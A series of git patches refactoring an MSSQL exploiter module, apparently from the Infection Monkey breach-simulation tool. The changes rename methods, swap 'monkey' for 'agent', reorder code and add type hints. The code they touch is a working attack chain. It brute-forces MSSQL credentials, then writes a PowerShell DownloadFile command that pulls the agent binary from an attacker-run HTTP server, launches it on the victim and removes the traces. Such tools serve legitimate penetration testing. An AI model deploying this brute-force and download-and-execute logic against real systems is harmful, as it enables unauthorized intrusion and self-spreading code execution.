From 0204ba6343a5a4c07cf898451253f2bf63b03d3d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:27:21 -0400 Subject: [PATCH 1/8] Agent: Prefix protected methods in MSSQLExploiter with "_" --- monkey/infection_monkey/exploit/mssqlexec.py | 24 ++++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 7dbb190a1..700891c8f 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -58,7 +58,7 @@ class MSSQLExploiter(HostExploiter): self.options["credentials"]["exploit_password_list"], ) try: - self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) except FailedExploitationError: logger.info( f"Failed brute-forcing of MSSQL server on {self.host}," @@ -72,15 +72,15 @@ class MSSQLExploiter(HostExploiter): try: # Create dir for payload - self.create_temp_dir() + self._create_temp_dir() - http_thread = self.start_monkey_server(monkey_path_on_victim) - self.upload_monkey(monkey_path_on_victim) + http_thread = self._start_monkey_server(monkey_path_on_victim) + self._upload_monkey(monkey_path_on_victim) MSSQLExploiter._stop_monkey_server(http_thread) self.run_monkey(monkey_path_on_victim) - self.remove_temp_dir() + self._remove_temp_dir() except Exception as e: error_message = ( f"An unexpected error occurred when trying " @@ -95,13 +95,13 @@ class MSSQLExploiter(HostExploiter): self.exploit_result.propagation_success = True return self.exploit_result - def create_temp_dir(self): + def _create_temp_dir(self): logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" self._run_mssql_command(mkdir_command) - def upload_monkey(self, monkey_path_on_victim: PureWindowsPath): + def _upload_monkey(self, monkey_path_on_victim: PureWindowsPath): self._write_download_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() @@ -131,21 +131,21 @@ class MSSQLExploiter(HostExploiter): self.run_payload_file() def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim): - agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) + agent_launch_command = self._get_monkey_launch_command(monkey_path_on_victim) self._write_command_to_batch_file(agent_launch_command) - def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): + def _get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): monkey_args = build_monkey_commandline( self.host, self.current_depth - 1, monkey_path_on_victim ) return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}" - def remove_temp_dir(self): + def _remove_temp_dir(self): self._run_mssql_command(f"del {self.payload_file_path}") self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") - def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + def _start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_repository ) @@ -156,7 +156,7 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def brute_force(self, host, port, users_passwords_pairs_list): + def _brute_force(self, host, port, users_passwords_pairs_list): """ Starts the brute force connection attempts and if needed then init the payload process. Main loop starts here. From 04460e1d44f60671aa4d64c436481c6b95aa8e51 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:28:45 -0400 Subject: [PATCH 2/8] Agent: Encapsulate "monkey server" details in _upload_monkey() --- monkey/infection_monkey/exploit/mssqlexec.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 700891c8f..3ec981c7d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -71,15 +71,9 @@ class MSSQLExploiter(HostExploiter): return self.exploit_result try: - # Create dir for payload self._create_temp_dir() - - http_thread = self._start_monkey_server(monkey_path_on_victim) self._upload_monkey(monkey_path_on_victim) - MSSQLExploiter._stop_monkey_server(http_thread) - self.run_monkey(monkey_path_on_victim) - self._remove_temp_dir() except Exception as e: error_message = ( @@ -102,9 +96,13 @@ class MSSQLExploiter(HostExploiter): self._run_mssql_command(mkdir_command) def _upload_monkey(self, monkey_path_on_victim: PureWindowsPath): + http_thread = self._start_monkey_server(monkey_path_on_victim) + self._write_download_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() + MSSQLExploiter._stop_monkey_server(http_thread) + def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) From 339619cc56d083604f5ed47f52dfbd576b753c13 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:32:41 -0400 Subject: [PATCH 3/8] Agent: Move _brute_force() --- monkey/infection_monkey/exploit/mssqlexec.py | 116 +++++++++---------- 1 file changed, 58 insertions(+), 58 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 3ec981c7d..ff45683de 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -89,6 +89,64 @@ class MSSQLExploiter(HostExploiter): self.exploit_result.propagation_success = True return self.exploit_result + def _brute_force(self, host, port, users_passwords_pairs_list): + """ + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. + + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce + with + + Return: + True or False depends if the whole bruteforce and attack process was completed + successfully or not + """ + # Main loop + # Iterates on users list + credentials_iterator = interruptible_iter( + users_passwords_pairs_list, + self.interrupt, + "MSSQL exploiter has been interrupted", + logging.INFO, + ) + + for user, password in credentials_iterator: + try: + # Core steps + # Trying to connect + conn = pymssql.connect( + host, + user, + password, + port=port, + login_timeout=self.LOGIN_TIMEOUT, + timeout=self.QUERY_TIMEOUT, + ) + logger.info( + f"Successfully connected to host: {host} using user: {user} and password" + ) + self.exploit_result.exploitation_success = True + self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) + self.report_login_attempt(True, user, password) + cursor = conn.cursor() + return cursor + except pymssql.OperationalError as err: + logger.info(f"Connection to MSSQL failed: {err}") + self.report_login_attempt(False, user, password) + # Combo didn't work, hopping to the next one + pass + + logger.warning( + "No user/password combo was able to connect to host: {0}:{1}, " + "aborting brute force".format(host, port) + ) + raise FailedExploitationError( + "Bruteforce process failed on host: {0}".format(self.host.ip_addr) + ) + def _create_temp_dir(self): logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") @@ -153,61 +211,3 @@ class MSSQLExploiter(HostExploiter): def _stop_monkey_server(http_thread): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - - def _brute_force(self, host, port, users_passwords_pairs_list): - """ - Starts the brute force connection attempts and if needed then init the payload process. - Main loop starts here. - - Args: - host (str): Host ip address - port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce - with - - Return: - True or False depends if the whole bruteforce and attack process was completed - successfully or not - """ - # Main loop - # Iterates on users list - credentials_iterator = interruptible_iter( - users_passwords_pairs_list, - self.interrupt, - "MSSQL exploiter has been interrupted", - logging.INFO, - ) - - for user, password in credentials_iterator: - try: - # Core steps - # Trying to connect - conn = pymssql.connect( - host, - user, - password, - port=port, - login_timeout=self.LOGIN_TIMEOUT, - timeout=self.QUERY_TIMEOUT, - ) - logger.info( - f"Successfully connected to host: {host} using user: {user} and password" - ) - self.exploit_result.exploitation_success = True - self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) - self.report_login_attempt(True, user, password) - cursor = conn.cursor() - return cursor - except pymssql.OperationalError as err: - logger.info(f"Connection to MSSQL failed: {err}") - self.report_login_attempt(False, user, password) - # Combo didn't work, hopping to the next one - pass - - logger.warning( - "No user/password combo was able to connect to host: {0}:{1}, " - "aborting brute force".format(host, port) - ) - raise FailedExploitationError( - "Bruteforce process failed on host: {0}".format(self.host.ip_addr) - ) From 79fbd8b6000f41ad727ac218185653d07f2d6a15 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:33:19 -0400 Subject: [PATCH 4/8] Agent: Remove stale comment --- monkey/infection_monkey/exploit/mssqlexec.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ff45683de..ab8e71fc1 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -45,11 +45,6 @@ class MSSQLExploiter(HostExploiter): self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME def _exploit_host(self) -> ExploiterResultData: - """ - First this method brute forces to get the mssql connection (cursor). - Also, don't forget to start_monkey_server() before self.upload_monkey() and - self.stop_monkey_server() after - """ monkey_path_on_victim = get_agent_dst_path(self.host) # Brute force to get connection From 7aca587964c7f6663b6a2a85ef288cb6602050bf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:35:28 -0400 Subject: [PATCH 5/8] Agent: Replace references to "monkey" with "agent" in MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 44 ++++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ab8e71fc1..c30a3c1ad 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -33,7 +33,7 @@ class MSSQLExploiter(HostExploiter): # Single quotes are escaped in SQL by using two of them. # Example: 'It ain''t over ''til it''s over' - MONKEY_DOWNLOAD_COMMAND = ( + AGENT_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" ) @@ -45,7 +45,7 @@ class MSSQLExploiter(HostExploiter): self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME def _exploit_host(self) -> ExploiterResultData: - monkey_path_on_victim = get_agent_dst_path(self.host) + agent_path_on_victim = get_agent_dst_path(self.host) # Brute force to get connection creds = generate_identity_secret_pairs( @@ -67,8 +67,8 @@ class MSSQLExploiter(HostExploiter): try: self._create_temp_dir() - self._upload_monkey(monkey_path_on_victim) - self.run_monkey(monkey_path_on_victim) + self._upload_agent(agent_path_on_victim) + self.run_agent(agent_path_on_victim) self._remove_temp_dir() except Exception as e: error_message = ( @@ -148,17 +148,17 @@ class MSSQLExploiter(HostExploiter): mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" self._run_mssql_command(mkdir_command) - def _upload_monkey(self, monkey_path_on_victim: PureWindowsPath): - http_thread = self._start_monkey_server(monkey_path_on_victim) + def _upload_agent(self, agent_path_on_victim: PureWindowsPath): + http_thread = self._start_agent_server(agent_path_on_victim) - self._write_download_command_to_batch_file(monkey_path_on_victim) + self._write_download_command_to_batch_file(agent_path_on_victim) self.run_payload_file() - MSSQLExploiter._stop_monkey_server(http_thread) + MSSQLExploiter._stop_agent_server(http_thread) - def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): - agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) + def _write_download_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath): + agent_download_command = MSSQLExploiter.AGENT_DOWNLOAD_COMMAND.format( + http_path=self.agent_http_path, dst_path=str(agent_path_on_victim) ) self._write_command_to_batch_file(agent_download_command) @@ -177,32 +177,32 @@ class MSSQLExploiter(HostExploiter): def run_payload_file(self): self._run_mssql_command(str(self.payload_file_path)) - def run_monkey(self, monkey_path_on_victim: PureWindowsPath): - self._write_agent_launch_command_to_batch_file(monkey_path_on_victim) + def run_agent(self, agent_path_on_victim: PureWindowsPath): + self._write_agent_launch_command_to_batch_file(agent_path_on_victim) self.run_payload_file() - def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim): - agent_launch_command = self._get_monkey_launch_command(monkey_path_on_victim) + def _write_agent_launch_command_to_batch_file(self, agent_path_on_victim): + agent_launch_command = self._build_agent_launch_command(agent_path_on_victim) self._write_command_to_batch_file(agent_launch_command) - def _get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): - monkey_args = build_monkey_commandline( - self.host, self.current_depth - 1, monkey_path_on_victim + def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath): + agent_args = build_monkey_commandline( + self.host, self.current_depth - 1, agent_path_on_victim ) - return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}" + return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" def _remove_temp_dir(self): self._run_mssql_command(f"del {self.payload_file_path}") self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") - def _start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, str(monkey_path_on_victim), self.agent_repository + self.host, str(agent_path_on_victim), self.agent_repository ) return http_thread @staticmethod - def _stop_monkey_server(http_thread): + def _stop_agent_server(http_thread): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) From e73c9307bfc14b65172142308a3dd30af9f1635b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:40:48 -0400 Subject: [PATCH 6/8] Agent: Add missing type hints to MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c30a3c1ad..5c531054e 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,7 @@ import logging from pathlib import PureWindowsPath from time import sleep +from typing import Sequence, Tuple import pymssql @@ -84,7 +85,9 @@ class MSSQLExploiter(HostExploiter): self.exploit_result.propagation_success = True return self.exploit_result - def _brute_force(self, host, port, users_passwords_pairs_list): + def _brute_force( + self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]] + ) -> pymssql.Cursor: """ Starts the brute force connection attempts and if needed then init the payload process. Main loop starts here. @@ -181,11 +184,11 @@ class MSSQLExploiter(HostExploiter): self._write_agent_launch_command_to_batch_file(agent_path_on_victim) self.run_payload_file() - def _write_agent_launch_command_to_batch_file(self, agent_path_on_victim): + def _write_agent_launch_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath): agent_launch_command = self._build_agent_launch_command(agent_path_on_victim) self._write_command_to_batch_file(agent_launch_command) - def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath): + def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: agent_args = build_monkey_commandline( self.host, self.current_depth - 1, agent_path_on_victim ) @@ -203,6 +206,6 @@ class MSSQLExploiter(HostExploiter): return http_thread @staticmethod - def _stop_agent_server(http_thread): + def _stop_agent_server(http_thread: LockedHTTPServer): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) From c2170ffc4a0fb03e187f7bfac2a9b71086d7e4c8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Jun 2022 08:32:30 -0400 Subject: [PATCH 7/8] Agent: Rename run_agent() -> _run_agent() --- monkey/infection_monkey/exploit/mssqlexec.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 5c531054e..20631941b 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -69,7 +69,7 @@ class MSSQLExploiter(HostExploiter): try: self._create_temp_dir() self._upload_agent(agent_path_on_victim) - self.run_agent(agent_path_on_victim) + self._run_agent(agent_path_on_victim) self._remove_temp_dir() except Exception as e: error_message = ( @@ -180,7 +180,7 @@ class MSSQLExploiter(HostExploiter): def run_payload_file(self): self._run_mssql_command(str(self.payload_file_path)) - def run_agent(self, agent_path_on_victim: PureWindowsPath): + def _run_agent(self, agent_path_on_victim: PureWindowsPath): self._write_agent_launch_command_to_batch_file(agent_path_on_victim) self.run_payload_file() From f9b3d7f5eb9371458248dcc32ea7aaa999a8c896 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Jun 2022 08:33:18 -0400 Subject: [PATCH 8/8] Agent: Move agent server methods within MSSQLExploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 22 ++++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 20631941b..1827a5281 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -159,6 +159,17 @@ class MSSQLExploiter(HostExploiter): MSSQLExploiter._stop_agent_server(http_thread) + def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, str(agent_path_on_victim), self.agent_repository + ) + return http_thread + + @staticmethod + def _stop_agent_server(http_thread: LockedHTTPServer): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) + def _write_download_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath): agent_download_command = MSSQLExploiter.AGENT_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(agent_path_on_victim) @@ -198,14 +209,3 @@ class MSSQLExploiter(HostExploiter): def _remove_temp_dir(self): self._run_mssql_command(f"del {self.payload_file_path}") self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") - - def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: - self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, str(agent_path_on_victim), self.agent_repository - ) - return http_thread - - @staticmethod - def _stop_agent_server(http_thread: LockedHTTPServer): - http_thread.stop() - http_thread.join(LONG_REQUEST_TIMEOUT)